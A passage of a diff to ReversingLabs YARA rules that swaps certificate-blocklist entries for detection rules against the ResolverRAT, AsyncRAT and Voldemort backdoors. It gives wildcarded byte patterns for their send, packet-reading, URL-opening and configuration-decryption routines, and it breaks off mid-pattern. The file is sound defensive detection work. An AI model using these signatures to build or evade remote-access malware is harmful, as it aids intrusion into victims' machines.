"https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ca812cdfbb7ca984fae1e16159eb0eeb1e65767fcc6aa07eeb84966853146f9d" + logic_hash = "4847650c49d305ea3c3e1dd23efefe03c485cff78253a49e06ee45bb46ebf360" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Backdoor" + tc_detection_name = "ResolverRAT" + tc_detection_factor = 5 importance = 25 + strings: + $run_visual_executor = { + 7E ?? ?? ?? ?? 3A ?? ?? ?? ?? 73 ?? ?? ?? ?? 0A 06 73 ?? ?? ?? ?? 7D ?? ?? ?? ?? 1F + ?? 28 ?? ?? ?? ?? 0B 06 1F ?? 28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 06 73 ?? ?? ?? ?? 25 20 + ?? ?? ?? ?? 20 ?? ?? ?? ?? 61 7E ?? ?? ?? ?? 7B ?? ?? ?? ?? 61 7E ?? ?? ?? ?? 28 ?? + ?? ?? ?? 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 61 7E ?? ?? ?? ?? 7B ?? ?? ?? ?? 61 7E ?? ?? + ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 61 20 ?? ?? ?? + ?? 61 7E ?? ?? ?? ?? 7B ?? ?? ?? ?? 61 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 20 ?? ?? ?? ?? + 20 ?? ?? ?? ?? 63 20 ?? ?? ?? ?? 61 7E ?? ?? ?? ?? 7B ?? ?? ?? ?? 61 7E ?? ?? ?? ?? + 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 61 7E ?? ?? ?? ?? 7B + ?? ?? ?? ?? 61 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 63 20 ?? + ?? ?? ?? 61 7E ?? ?? ?? ?? 7B ?? ?? ?? ?? 61 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? + ?? ?? 25 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 61 7E ?? ?? ?? ?? 7B ?? ?? ?? ?? 61 7E + } + $execute_mixed_executor = { + 12 ?? (FE | 15) ?? ?? ?? ?? ?? 12 ?? 06 8C ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? + 7D ?? ?? ?? ?? 12 ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? + 06 7B ?? ?? ?? ?? 59 76 6C 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 20 ?? ?? ?? ?? 20 ?? ?? + ?? ?? 61 20 ?? ?? ?? ?? 61 7E ?? ?? ?? ?? 7B ?? ?? ?? ?? 61 7E ?? ?? ?? ?? 28 ?? ?? + ?? ?? 1A 8D ?? ?? ?? ?? 25 16 12 ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 8C ?? ?? ?? ?? A2 + 25 17 12 ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 8C ?? ?? ?? ?? A2 25 18 12 ?? 7E ?? ?? ?? + ?? 28 ?? ?? ?? ?? 8C ?? ?? ?? ?? A2 25 19 12 ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 8C ?? + ?? ?? ?? A2 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C DD ?? ?? ?? ?? 26 20 ?? ?? ?? ?? 20 ?? + ?? ?? ?? 58 20 ?? ?? ?? ?? 61 7E ?? ?? ?? ?? 7B ?? ?? ?? ?? 61 7E ?? ?? ?? ?? 28 + } + $write_connection = { + 7E ?? ?? ?? ?? 0A 16 0B 06 12 ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 7E ?? ?? ?? ?? 28 + ?? ?? ?? ?? 0C 08 8E 69 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0D 7E ?? ?? ?? ?? 20 ?? ?? ?? + ?? 17 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 7E ?? ?? ?? ?? + 09 16 09 8E 69 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 08 8E 69 20 ?? ?? ?? ?? 3E ?? ?? ?? ?? + 08 73 ?? ?? ?? ?? 13 ?? 20 ?? ?? ?? ?? 8D ?? ?? ?? ?? 13 ?? 16 13 ?? 11 ?? 16 6A 7E + ?? ?? ?? ?? 28 ?? ?? ?? ?? 38 ?? ?? ?? ?? 7E ?? ?? ?? ?? 20 ?? ?? ?? ?? 17 7E ?? ?? + ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 7E ?? ?? ?? ?? 11 ?? 16 11 ?? + 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 ?? 11 ?? 16 11 ?? 8E 69 7E ?? ?? ?? ?? 28 ?? ?? ?? + ?? 25 13 ?? 16 3D ?? ?? ?? ?? DD ?? ?? ?? ?? 11 ?? 39 ?? ?? ?? ?? 11 ?? 7E ?? ?? ?? + ?? 28 ?? ?? ?? ?? DC 7E ?? ?? ?? ?? 20 ?? ?? ?? ?? 17 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? + 3A ?? ?? ?? ?? 73 ?? ?? ?? ?? 7A 7E ?? ?? ?? ?? 08 16 08 8E 69 7E ?? ?? ?? ?? 28 ?? + ?? ?? ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? DD ?? ?? ?? ?? 26 7E ?? ?? ?? + ?? 28 ?? ?? ?? ?? DD ?? ?? ?? ?? 07 39 ?? ?? ?? ?? 06 7E + } + $read_sorter_enumerator = { + 03 3A ?? ?? ?? ?? DD ?? ?? ?? ?? 03 75 ?? ?? ?? ?? 3A ?? ?? ?? ?? 03 75 ?? ?? ?? ?? + 0A 06 3A ?? ?? ?? ?? 38 ?? ?? ?? ?? 7E ?? ?? ?? ?? 0B 7E ?? ?? ?? ?? 25 3A ?? ?? ?? + ?? 26 38 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? DD ?? ?? ?? ?? 26 DD ?? ?? ?? ?? + 73 ?? ?? ?? ?? 25 17 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 25 07 7E ?? ?? ?? ?? 28 ?? ?? ?? + ?? 25 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 25 7E ?? ?? ?? ?? + 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 80 ?? + ?? ?? ?? 38 ?? ?? ?? ?? 14 0C 06 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 39 ?? ?? ?? ?? 06 7E + ?? ?? ?? ?? 28 ?? ?? ?? ?? 06 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? + ?? ?? 06 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 38 ?? ?? ?? ?? 06 7E ?? ?? ?? ?? 28 ?? ?? + ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 08 3A ?? ?? ?? ?? 06 7E ?? ?? ?? ?? 28 ?? ?? + ?? ?? DD ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? + 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 25 06 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 + ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 08 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? + ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? DD + ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Maxiol" and pe.signatures [ i ] . serial == "32:11:99:25:a6:ce:47:10:ae:cc:40:06:c2:8e:74:9f" and 1592438400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $run_visual_executor ) and ( $execute_mixed_executor ) and ( $write_connection ) and ( $read_sorter_enumerator ) } - -rule REVERSINGLABS_Cert_Blocklist_2C90Eaf4De3Afc03Ba924C719435C2A3 : INFO FILE +rule REVERSINGLABS_Bytecode_MSIL_Backdoor_Asyncrat : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects AsyncRAT backdoor." author = "ReversingLabs" - id = "06edc1a3-65b1-5a69-ab6b-4ffc3963513c" - date = "2020-08-05" - modified = "2023-11-08" + id = "78ff36e1-1620-50f4-8abd-adcf8b1242da" + date = "2024-05-22" + modified = "2024-05-22" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4870-L4888" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/ByteCode.MSIL.Backdoor.AsyncRAT.yara#L1-L149" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "5bb78a5e39f9d023cf63edabdc83d4965fc79f6f04f9fea9bcf2a53223fbd4ca" + logic_hash = "53a13975cd53b571910f951adc44707c11b86c003eeb7b88dbe701253645ac89" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Backdoor" + tc_detection_name = "AsyncRAT" + tc_detection_factor = 5 importance = 25 + strings: + $read_server_data_v1 = { + 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 39 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 16 28 ?? + ?? ?? ?? DD ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 6F ?? ?? ?? ?? 0A 06 16 3E ?? ?? ?? ?? 28 + ?? ?? ?? ?? 06 6A 58 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 06 6A 59 28 ?? ?? ?? ?? 28 ?? ?? + ?? ?? 3A ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 6A 28 ?? ?? ?? ?? 28 ?? ?? ?? + ?? 16 6A 3E ?? ?? ?? ?? 16 6A 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? D4 8D ?? ?? ?? ?? 28 ?? + ?? ?? ?? 38 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 69 28 ?? ?? ?? + ?? 69 6F ?? ?? ?? ?? 0B 07 16 3D ?? ?? ?? ?? 16 28 ?? ?? ?? ?? DD ?? ?? ?? ?? 28 ?? + ?? ?? ?? 07 6A 58 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 07 6A 59 28 ?? ?? ?? ?? 28 ?? ?? ?? + ?? 16 6A 3C ?? ?? ?? ?? 16 28 ?? ?? ?? ?? DD ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 6A 30 ?? + 14 (FE | 06) ?? ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? + ?? 16 6A 28 ?? ?? ?? ?? 1A 6A 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? D4 8D ?? ?? ?? ?? 28 ?? + ?? ?? ?? 38 ?? ?? ?? ?? 1A 6A 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? D4 8D ?? ?? ?? ?? 28 ?? + ?? ?? ?? 16 6A 28 ?? ?? ?? ?? 38 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 6A 3C ?? ?? ?? ?? 16 + 28 ?? ?? ?? ?? DD ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 69 28 ?? + ?? ?? ?? 69 14 (FE | 06) ?? ?? ?? ?? ?? 73 ?? ?? ?? ?? 14 6F ?? ?? ?? ?? 26 38 ?? ?? + ?? ?? 16 28 ?? ?? ?? ?? DD ?? ?? ?? ?? 26 16 28 ?? ?? ?? ?? DD + } + $send_v1 = { + 28 ?? ?? ?? ?? 0A 16 0B 06 12 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? DD ?? + ?? ?? ?? 02 8E 69 28 ?? ?? ?? ?? 0C 28 ?? ?? ?? ?? 15 17 6F ?? ?? ?? ?? 26 28 ?? ?? + ?? ?? 08 16 08 8E 69 6F ?? ?? ?? ?? 02 8E 69 20 ?? ?? ?? ?? 3E ?? ?? ?? ?? 02 73 ?? + ?? ?? ?? 0D 16 13 ?? 09 16 6A 6F ?? ?? ?? ?? 20 ?? ?? ?? ?? 8D ?? ?? ?? ?? 13 ?? 38 + ?? ?? ?? ?? 28 ?? ?? ?? ?? 15 17 6F ?? ?? ?? ?? 26 28 ?? ?? ?? ?? 11 ?? 16 11 ?? 6F + ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 11 ?? 16 11 ?? 8E 69 6F ?? ?? ?? ?? 25 + 13 ?? 16 30 ?? DD ?? ?? ?? ?? 09 39 ?? ?? ?? ?? 09 6F ?? ?? ?? ?? DC 28 ?? ?? ?? ?? + 15 17 6F ?? ?? ?? ?? 26 28 ?? ?? ?? ?? 02 16 02 8E 69 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? + 6F ?? ?? ?? ?? DD ?? ?? ?? ?? 26 16 28 ?? ?? ?? ?? DD ?? ?? ?? ?? 07 39 ?? ?? ?? ?? + 06 28 ?? ?? ?? ?? DC + } + $read_packet_v1_p1 = { + 73 ?? ?? ?? ?? 0A 06 73 ?? ?? ?? ?? 7D ?? ?? ?? ?? 06 7B ?? ?? ?? ?? 02 74 ?? ?? ?? + ?? 6F ?? ?? ?? ?? 06 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 0B + 07 28 ?? ?? ?? ?? 0C 08 20 4F 01 89 64 42 ?? ?? ?? ?? 08 20 7A 39 BA 13 42 ?? ?? ?? + ?? 08 20 D4 CA CD 0C 3B ?? ?? ?? ?? 08 20 7A 39 BA 13 3B ?? ?? ?? ?? 38 ?? ?? ?? ?? + 08 20 2B C2 32 1B 3B ?? ?? ?? ?? 08 20 E2 A2 F4 57 3B ?? ?? ?? ?? 08 20 4F 01 89 64 + 3B ?? ?? ?? ?? 38 ?? ?? ?? ?? 08 20 5A 15 79 D9 42 ?? ?? ?? ?? 08 20 B7 16 DB 7A 3B + ?? ?? ?? ?? 08 20 39 20 3F B2 3B ?? ?? ?? ?? 08 20 5A 15 79 D9 3B ?? ?? ?? ?? 38 ?? + ?? ?? ?? 08 20 1E CA D2 DC 3B ?? ?? ?? ?? 08 20 45 FD B6 E0 3B ?? ?? ?? ?? 08 20 D0 + 5E 9B FA 3B ?? ?? ?? ?? 38 ?? ?? ?? ?? 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? + ?? 38 ?? ?? ?? ?? 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 38 ?? ?? ?? ?? 07 + 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 38 ?? ?? ?? ?? 07 72 ?? ?? ?? ?? 28 ?? + ?? ?? ?? 3A ?? ?? ?? ?? 38 ?? ?? ?? ?? 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? + ?? 38 ?? ?? ?? ?? 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 38 ?? ?? ?? ?? 07 + 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 38 ?? ?? ?? ?? 07 72 ?? ?? ?? ?? 28 ?? + ?? ?? ?? 3A ?? ?? ?? ?? 38 ?? ?? ?? ?? 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? + ?? 38 ?? ?? ?? ?? 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 38 ?? ?? ?? ?? 07 + } + $read_packet_v1_p2 = { + 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 38 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 73 ?? + ?? ?? ?? 25 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 72 ?? ?? + ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 6A 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? + 16 28 ?? ?? ?? ?? 38 ?? ?? ?? ?? 00 06 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? + 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 3A ?? ?? ?? ?? 7E ?? ?? ?? ?? 06 7B ?? ?? ?? ?? 6F ?? + ?? ?? ?? 73 ?? ?? ?? ?? 25 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? + ?? 25 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? + 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 38 ?? ?? ?? ?? 06 7B ?? + ?? ?? ?? 28 ?? ?? ?? ?? DD ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? DD ?? ?? ?? ?? + 06 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 7B ?? ?? ?? ?? 72 + ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 7E ?? ?? ?? ?? 28 ?? ?? + ?? ?? 6F ?? ?? ?? ?? 0D 38 ?? ?? ?? ?? 12 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 72 ?? ?? ?? + ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F + ?? ?? ?? ?? 28 ?? ?? ?? ?? 39 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 11 ?? + 6F ?? ?? ?? ?? 26 12 ?? 28 ?? ?? ?? ?? 2D ?? DD ?? ?? ?? ?? 12 ?? (FE | 16) ?? ?? ?? + ?? ?? 6F ?? ?? ?? ?? DC 73 ?? ?? ?? ?? 26 06 (FE | 06) ?? ?? ?? ?? ?? 73 ?? ?? ?? ?? + 73 ?? ?? ?? ?? 25 16 6F ?? ?? ?? ?? 25 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 38 ?? ?? ?? ?? + 7E ?? ?? ?? ?? 25 3A ?? ?? ?? ?? 26 7E ?? ?? ?? ?? (FE | 06) ?? ?? ?? ?? ?? 73 + } + $send_v2 = { + 7E ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 16 13 ?? 11 ?? 12 ?? 28 ?? ?? ?? ?? 7E ?? + ?? ?? ?? 39 ?? ?? ?? ?? 73 ?? ?? ?? ?? 0A 02 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 07 8E + B7 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 06 08 16 08 8E B7 + 6F ?? ?? ?? ?? 06 07 16 07 8E B7 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 15 17 6F ?? ?? ?? ?? + 26 7E ?? ?? ?? ?? 06 6F ?? ?? ?? ?? 16 06 6F ?? ?? ?? ?? B7 16 14 (FE | 06) ?? ?? ?? + ?? ?? 73 ?? ?? ?? ?? 14 6F ?? ?? ?? ?? 26 DE ?? 06 2C ?? 06 6F ?? ?? ?? ?? DC DE ?? + 25 28 ?? ?? ?? ?? 0D 16 80 ?? ?? ?? ?? 28 ?? ?? ?? ?? DE ?? DE ?? 11 ?? 2C ?? 11 ?? + 28 ?? ?? ?? ?? DC + } + $open_url_v2 = { + 03 39 ?? ?? ?? ?? 17 28 ?? ?? ?? ?? 20 00 0C 00 00 28 ?? ?? ?? ?? 20 0F 27 00 00 28 + ?? ?? ?? ?? DE ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? DE ?? 02 28 ?? ?? ?? ?? 74 ?? ?? ?? + ?? 0A 06 7E ?? ?? ?? ?? 73 ?? ?? ?? ?? 7E ?? ?? ?? ?? 8E B7 6F ?? ?? ?? ?? 9A 6F ?? + ?? ?? ?? 06 17 6F ?? ?? ?? ?? 06 20 10 27 00 00 6F ?? ?? ?? ?? 06 72 ?? ?? ?? ?? 6F + ?? ?? ?? ?? 06 6F ?? ?? ?? ?? 74 ?? ?? ?? ?? 0B DE ?? 07 2C ?? 07 6F ?? ?? ?? ?? DC + 2B ?? 02 28 ?? ?? ?? ?? 26 + } + $monitoring_v2 = { + 73 ?? ?? ?? ?? 0C 02 72 ?? ?? ?? ?? 15 16 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11 ?? + 11 ?? 9A 0B 08 07 14 72 ?? ?? ?? ?? 16 8D ?? ?? ?? ?? 14 14 14 28 ?? ?? ?? ?? 28 ?? + ?? ?? ?? 6F ?? ?? ?? ?? 11 ?? 17 D6 13 ?? 11 ?? 11 ?? 8E B7 32 ?? 1F ?? 0A 38 ?? ?? + ?? ?? 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11 ?? 11 ?? 9A 0D 09 6F ?? ?? ?? ?? 28 ?? + ?? ?? ?? 2C ?? 2B ?? 08 09 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 25 (FE | 07) ?? ?? ?? ?? ?? + 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 06 1F ?? 31 ?? 16 0A 72 ?? ?? ?? ?? 09 6F ?? ?? + ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 ?? 17 D6 13 ?? + 11 ?? 11 ?? 8E B7 32 ?? 06 17 D6 0A 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 3A + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "AntiFIX s.r.o." and ( pe.signatures [ i ] . serial == "00:2c:90:ea:f4:de:3a:fc:03:ba:92:4c:71:94:35:c2:a3" or pe.signatures [ i ] . serial == "2c:90:ea:f4:de:3a:fc:03:ba:92:4c:71:94:35:c2:a3" ) and 1586293430 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( ( ( $read_server_data_v1 ) and ( $send_v1 ) and ( all of ( $read_packet_v1_p* ) ) ) or ( ( $send_v2 ) and ( $open_url_v2 ) and ( $monitoring_v2 ) ) ) } - -rule REVERSINGLABS_Cert_Blocklist_Aff762E907F0644E76Ed8A7485Fb12A1 : INFO FILE +rule REVERSINGLABS_Win64_Backdoor_Voldemort : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Voldemort backdoor." author = "ReversingLabs" - id = "3b3bbbdd-9c2d-5c80-a121-3e3ad13e9ac6" - date = "2020-08-05" - modified = "2023-11-08" + id = "d770bd79-5141-50a0-8cf7-bca1cf5f23e1" + date = "2024-10-09" + modified = "2024-10-09" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4890-L4908" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Win64.Backdoor.Voldemort.yara#L1-L208" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ad05389e0eb30cb894b03842d213b8c956f66357a913c73d8d8b79f8336bf980" + logic_hash = "1fe2abe17436d2965e34d1f10223af50d9600809fdef234e7d89c74fa33228a9" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Backdoor" + tc_detection_name = "Voldemort" + tc_detection_factor = 5 importance = 25 + strings: + $decrypt_configuration_p1 = { + 4C 8B DC 55 56 48 81 EC ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 44 24 ?? 49 + 89 5B ?? 33 F6 49 89 7B ?? 4D 89 6B ?? 48 89 4C 24 ?? 66 C7 44 24 ?? ?? ?? C6 44 24 + ?? ?? E8 ?? ?? ?? ?? 4C 8B E8 8B FE E8 ?? ?? ?? ?? 48 89 44 24 ?? 48 8B E8 48 85 C0 + 0F 84 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B + D8 48 85 C0 75 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B + D8 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B D0 48 8B CB E8 ?? ?? ?? ?? 48 85 C0 0F + 84 ?? ?? ?? ?? 45 33 C9 48 89 74 24 ?? C7 44 24 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8B + CD C7 44 24 ?? ?? ?? ?? ?? 45 8D 41 ?? FF D0 48 89 44 24 ?? 48 8B F8 48 83 F8 ?? 0F + 84 ?? ?? ?? ?? 4C 89 A4 24 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 4C 89 B4 24 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B D8 48 85 C0 75 ?? 48 8D 0D ?? ?? ?? ?? + E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B D8 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? + 48 8B D0 48 8B CB FF 15 ?? ?? ?? ?? 48 85 C0 74 ?? 33 D2 48 8B CF FF D0 44 8B E0 EB + ?? 44 8B E6 89 74 24 ?? FF 15 ?? ?? ?? ?? 45 8B C4 BA ?? ?? ?? ?? 48 8B C8 FF 15 ?? + ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 4C 8B F0 E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B + D8 48 85 C0 75 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B + D8 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B D0 48 8B CB FF 15 ?? ?? ?? ?? 48 85 C0 + 74 ?? 4C 8D 4C 24 ?? 48 89 74 24 ?? 45 8B C4 49 8B D6 48 8B CF FF D0 8B FE 45 85 E4 + 0F 84 ?? ?? ?? ?? 0F 1F 40 ?? 66 66 0F 1F 84 00 ?? ?? 00 00 44 8B C6 48 8D 54 24 + } + $decrypt_configuration_p2 = { + 0F 1F 84 00 ?? ?? ?? ?? 0F B6 0A 8B C7 FF C7 42 3A 0C 30 0F 85 ?? ?? ?? ?? 41 FF C0 + 48 FF C2 41 83 F8 ?? 72 ?? 83 FF ?? 0F 84 ?? ?? ?? ?? 42 8B 2C 37 4C 89 BC 24 ?? ?? + ?? ?? 8D 5D ?? FF 15 ?? ?? ?? ?? 44 8B C3 BA ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? + 48 8B D8 85 ED 74 ?? 8D 47 ?? 03 C5 41 3B C4 73 ?? 49 8D 56 ?? 44 8B C5 48 03 D7 48 + 8B CB E8 ?? ?? ?? ?? 4C 8B BC 24 ?? ?? ?? ?? 49 C7 C0 ?? ?? ?? ?? 66 90 49 FF C0 43 + 38 34 28 75 ?? 85 ED 7E ?? 4C 8B CB 8B C6 4D 8D 49 ?? 99 FF C6 41 F7 F8 48 63 C2 42 + 0F B6 14 28 41 30 51 ?? 3B F5 7C ?? 48 8B 4C 24 ?? 4C 8B C5 48 8B D3 E8 ?? ?? 